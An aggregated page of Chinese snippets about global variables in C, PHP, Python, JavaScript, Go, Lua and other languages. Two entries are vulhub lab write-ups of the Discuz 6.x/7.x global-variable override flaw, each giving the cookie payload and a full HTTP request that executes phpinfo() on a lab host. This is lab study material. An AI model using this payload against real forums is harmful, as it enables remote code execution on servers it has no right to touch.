-
2021-05-21 15:50:52
可以声明全局变量以在函数之间共享数据。全局变量不在任何函数之内,全局变量可在任何地方访问。
示例代码
#include
int count = 0; // 第3行,声明一个全局变量
// 声明函数
void test1(void);
void test2(void);
int main(void)
{
int count = 0; // 第11行,它覆盖了全局count变量
for (; count < 5; ++count)
{
test1();
test2();
}
system("pause");
return 0;
}
// test1函数使用全局变量
void test1(void)
{
printf("test1 count = %d\n", ++count);
}
// test2函数使用全局变量
void test2(void)
{
static int count; // 第三个变量,它隐藏了全局count变量数据
printf("test2 count = %d\n", ++count);
}
执行上面示例代码,得到以下结果:
test1 count = 1
test2 count = 1
test1 count = 2
test2 count = 2
test1 count = 3
test2 count = 3
test1 count = 4
test2 count = 4
test1 count = 5
test2 count = 5
在上面代码中,全局变量count定义如下:
int count = 0; // 第3行,声明一个全局变量
因为它是全局的,所以如果不初始化它将默认初始化为0。第二个变量count是在main()中声明的自动变量:
int count = 0; // 第11行,它覆盖了全局count变量
因为它与全局变量具有相同的名称,所以无法从main()访问全局变量count。局部变量count被隐藏了。第三个变量是在函数test2()中声明的静态变量count:
static int count; // 第三个变量,它隐藏了全局count变量数据
因为这是一个静态变量,所以默认情况下它将初始化为0。
此变量隐藏同名的全局变量count,因此在test2()中只能访问静态变量count。test1()函数使用全局变量count。main()和test2()函数使用局部版本的变量:count。
更多相关内容 -
Discuz 7.x/6.x 全局变量防御绕过导致代码执行
2021-12-07 15:45:09由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。 具体原理请参考: Discuz! 6.x/7.x 全局...由于php5.3.x版本里php.ini的设置里
request_order
默认值为GP,导致$_REQUEST
中不再包含$_COOKIE
,我们通过在Cookie中传入$GLOBALS
来覆盖全局变量,造成代码执行漏洞。具体原理请参考:
产品样子
直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
发送数据包
GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1 Host: 192.168.1.53:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.1.53:8080/forumdisplay.php?fid=2 Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); Upgrade-Insecure-Requests: 1
-
Discuz 7.x、6.x 全局变量防御绕过导致代码执行
2018-11-25 19:41:00由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致REQUEST中不再包含_REQUEST中不再包含REQUEST中不再包含_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。 具体原理请...0x01 分析
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致 R E Q U E S T 中 不 再 包 含 _REQUEST中不再包含 REQUEST中不再包含_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
具体原理请参考:
https://www.secpulse.com/archives/2338.html
0x02 环境搭建
https://blog.csdn.net/qq_36374896/article/details/84102101
0x03 启动环境
1、执行如下命令启动Discuz 7.2:
cd vulhub-master/discuz/wooyun-2010-080723/ sudo docker-compose up -d
sudo docker ps
已经启动2、安装discuz
启动后,访问http://your-ip:8080/install/来安装discuz,数据库地址填写db,数据库名为discuz,数据库账号密码均为root。
0x04 漏洞复现
安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();:
GET /viewthread.php?tid=7&extra=page%3D1 HTTP/1.1 Host: 192.168.91.130:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://192.168.91.130:8080/forumdisplay.php?fid=2 Connection: close Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); Upgrade-Insecure-Requests: 1
可见,phpinfo已成功执行:网上文章说需要一个带表情评论的帖子,实际测试发现并不需要,这块仍需阅读代码来解释原因。
-
C语言之全局变量
2022-04-05 15:56:372、若在函数的内部存在一个与全局变量同名的局部变量,南无编译器不会报错,而是用局部变量来覆盖(替换)全局变量,即:全局变量不起作用。 代码示例1:全局变量在所有局部函数里面均适用。 [liangjian@localhost ~...C语言之全局变量
1、在函数里面定义的变量称为局部变量,在函数外面定义的变量称为外部变量,也称为全局变量。
2、若在函数的内部存在一个与全局变量同名的局部变量,南无编译器不会报错,而是用局部变量来覆盖(替换)全局变量,即:全局变量不起作用。代码示例1:全局变量在所有局部函数里面均适用。
[liangjian@localhost ~]$ cat test6.c #include <stdio.h> void a (void); void b(void); //函数的声明; void c (void); int count = 0; void a (void) //函数的定义; { count++; } void b (void) { count++ ; } void c (void) { count ++; //定义; } void main(void) { a (); //函数的调用; b (); c (); a (); c (); printf("jj被夸了%d次!\n",count); return; } [liangjian@localhost ~]$ gcc test6.c &&./a.out //函数执行 jj被夸了5次!
代码示例2:局部变量和全局变量同名,局部变量覆盖全局变量。
[liangjian@localhost ~]$ cat test7.c #include <stdio.h> void func (void); //声明func; int a,b = 520; //定义全剧变量,a没有赋予初值,默认初始化为0,b赋值为520; void func () //定义函数func { a= 880; //a不是在func里面定义的变量,此处把880赋值给a; int b; //定义一个和全局变量同名的局部变量b,并赋值为120,调用func函数时,局部的b 120会覆盖全局的b 520 ; b= 120; printf("In func:%d %d\n",a,b); } int main (void) { printf("In main:%d %d\n",a,b); func (); //调用函数func,a=880,b覆盖全局,变为120 ; printf("In main:%d %d \n",a,b); return 0; } [liangjian@localhost ~]$ gcc test7.c &&./a.out In main:0 520 In func:880 120 In main:880 520 [liangjian@localhost ~]$
-
python 全局变量
2020-12-10 23:06:00在讲原因之前,需要先知道python中变量的搜索顺序,这个顺序是 LGB (不考虑闭包情况)即local本地,global全局,builtin内建。比如:a = 1def test():a = 3print(a)test()函数内声明了局部变量 a ,在打印中使用,在... -
MySQL中全局变量、会话变量、用户变量和局部变量的区别
2019-12-06 14:00:00之前在项目的存储过程中发现有通过 `DECLARE` 关键字定义的变量如`DECLARE cnt INT DEFAULT 0;`,还有形如 `@count` 这样的变量,存储过程中拿过来直接就进行设置,像这样`set @count=1;`,这两种类型的变量究竟有... -
代码优化--避免全局变量
2013-12-15 21:50:45当全局变量过多,就会导致内存占用过大,代码维护测试就更难,所以,代码优化--要尽量避免全局变量的出现。 本篇文章内容主要参考:“编写可维护的JavaScript”和“JavaScript高级程序设计(第三版)”。 一:全局... -
搞懂JavaScript全局变量与局部变量,看这篇文章就够了
2020-06-26 11:22:06全局变量和局部变量一些常见问题 3.1全局变量跟局部变量重名 当全局变量跟局部变量重名时,局部变量的scope会覆盖掉全局变量的scope,当离开局部变量的scope后,又重回到全局变量的scope。 当全局变量遇上局部变量时... -
JavaScript 尽量少用全局变量
2019-01-07 21:39:31尽量少用全局变量 JavaScript 使用函数管理作用域。变量在函数内声明,只在函数内有效,不能在外部使用。全局变量与之相反,在函数外部声明,在函数内无需声明即可简单地使用。 每一个 JavaScript 环境都有全局... -
python自定义线程类的使用与共享全局变量的问题
2019-07-03 15:35:50在一个函数中对全局变量进行修改时,如果是不可变对象包括int,float,string,tuple等,则需要对该全局变量用global声明 如果该全局变量是可变对象包括list,dict,自定义类的实例等,则不需要用global进行声明。... -
jenkinsfile语法与全局变量
2020-07-01 14:54:04//设置整个流水线的环境变量 } stages { stage('步骤名') { when { //条件判断 } steps{ //步骤具体执行 } } } post{ } } agent: 指定运行代理环境 位置: 在 pipeline 内 -
C++中局部变量可否与全局变量重名
2019-01-19 14:11:31此问题研究的是变量的作用域的问题。一个声明将一个名字引进一个作用域;局部变量(通常在函数中定义)的作用域是...与全局变量重名的局部变量可以屏蔽全局变量,如果想在块内使用全局变量需要通过作用域解析运算符... -
多进程引用动态链接库中的全局变量问题
2019-05-23 16:37:09多进程引用动态链接库中的全局变量问题 现象描述: 前提:存在一个动态库libvlan.so,存在一个应用console。 做法:在console中调用libvlan.so中的两个APIs,分别是设置和获取动态库中一个全局变量的值。 结果... -
Lua:02---Lua语法命名规范、;号的使用、Lua注释、Lua全局变量/局部变量、do-end代码块
2020-08-11 10:59:52局部变量会覆盖全局变量 例如: x = 10 -- 全局变量 local i = 1 -- 对于该代码段来说是局部的, 类似于C语言中的static全局变量 while i * 2 -- 局部变量x print(x) i = i + 1 end if i > 20 then local x -- 局部... -
[Python学习] 专题六.局部变量、全局变量global、导入模块变量
2015-09-27 16:21:06本文主要讲述全局变量、局部变量和导入模块变量的方法。参考:《Python核心编程 (第二版)》 全局变量的一个特征是除非删除掉,否则它们存活到脚本运行结束,且对于所有的函数,它们的值都是可以被访问的。然而局部... -
JS 基础之全局变量,局部变量
2018-08-23 09:56:29本章将概要介绍一些编写高质量JavaScript的最佳实践、模式和习惯,比如避免全局变量、使用单var声明、预缓存循环中的length、遵守编码约定等等。本章还包括一些编程习惯,这些习惯跟具体的代码关系不大,而是更多... -
深入理解javascript全局变量与局部变量的所带来的问题的影响
2017-08-05 00:45:00深入理解javascript全局变量与局部变量的所带来的问题的影响JavaScript通过函数管理作用域。在函数内部声明的变量只在这个函数内部,函数外面不可用。另一方面,全局变量就是在任何函数外面声明的或是未声明直接简单... -
JS中全局变量和局部变量
2018-05-17 11:36:17全局变量,作用域为所属的整个程序。定义形式:在函数外定义。在函数内定义,但是不加 var 声明。使用 window.变量名 的形式定义。(注:兼容性未知)使用 window['变量名'] 的形式定义。(注:兼容性未知)... -
GO中全局变量和局部变量的区别及其使用:=赋值需要注意的事情
2020-03-23 17:23:10全局变量: 定义:在函数外部的变量称为全局变量 作用域:同一个包内的任何地方 局部变量: 定义:定义在{}里面的变量为局部变量 作用域:只能在{}里面有效;执行到定义的那句话,开始分配内存空间,离开作用域... -
丰田一绝 - 28万行代码竟有1万多全局变量,庞大的bug培养基地
2014-08-25 21:06:05你不知道什么是全局变量,那么只需要知道软件设计的一般原则是要尽量少使用全局变 量,因为有可能带来无法预测的结果。这里的“少”的意思是“尽量接近零”,绝对不 会是一万一千个。 不符合软件开发规范。 ... -
js的作用域和全局变量
2019-03-27 23:12:52全局变量:变量在函数外定义,整个代码都可以调用的变量。 var:函数内部用var来声明局部变量 2.经典例子 (1)输出结果为:100,10,100 1 var a = 10; 2 function test(){ 3 a = 100; 4 console.log(a); 5... -
避免全局变量污染的一些措施!
2016-08-07 20:43:55全局变量的问题在于,你的JavaScript应用程序和web页面上的所有代码都共享了这些全局变量,他们住在同一个全局命名空间,所以当程序的两个不同部分定义同名但不同作用的全局变量的时候,命名冲突在所难免。... -
javascript中全局变量和局部变量的区别
2018-04-23 15:31:35//所以全局变量a被覆盖了,这说明了Javascript在执行前会对整个脚本文件的定义部分做完整分析,所以在函数test()执行前, //函数体中的变量a就被指向内部的局部变量.而不是指向外部的全局变量. 但这时a只有声明... -
Javascript:谈谈JS的全局变量跟局部变量
2017-02-08 10:52:28本文通过诸多示例,详细讲解了JavaScript的局部变量和全局变量,极力推荐大家阅读! -
Java多线程操作局部变量与全局变量
2013-10-18 10:30:04我们可以看到,上述代码中两个线程使用了两个不同的Runnable实例,它们在运行过程中,就不会去访问同一个全局变量。 将“全局变量”降级为“局部变量” 既然是共享变量造成的问题,那么我们可以将... -
微信小程序 全局变量
2020-02-18 22:21:05设置全局可获取的数据 1、在app.js文件中: App({ 键值对 }) 2、在其他页面的js中调用: var app=new getApp(); app.属性名调用 代码示例: app.js文件: App({ globalUrl:{ "douban": "https://api... -
变量覆盖(超详细!)
2020-09-14 16:03:46extract函数就是把数组中的变量,覆盖掉原来的变量, 这里我们可以理解为本来变量a应该输出Original,但是因为extract函数,所以把原来的a给覆盖了 去掉斜杠之后就会变得有意义,让变量生效。 extract函数就是把... -
js的全局变量和局部变量部分讲解
2016-07-25 10:52:54以此文作为自己学习的一个总结。 关于全局变量和局部... 一、局部变量和全局变量重名会覆盖全局变量 var a = 1; function test1() { var a = 2; alert(a); } test1();// 2 这里的函数中的定义的a是局部变量, -
多线程访问共享的全局变量引发的数据混乱
2018-04-17 19:55:061.线程共享全局变量 在学习线程的相关概念之后,想探究在进程的虚拟地址空间当中的哪些区域是进程中多个线程共享的。 探究发现,全局变量在不同的线程当中访问全局变量是共享的。举例如下: #include<...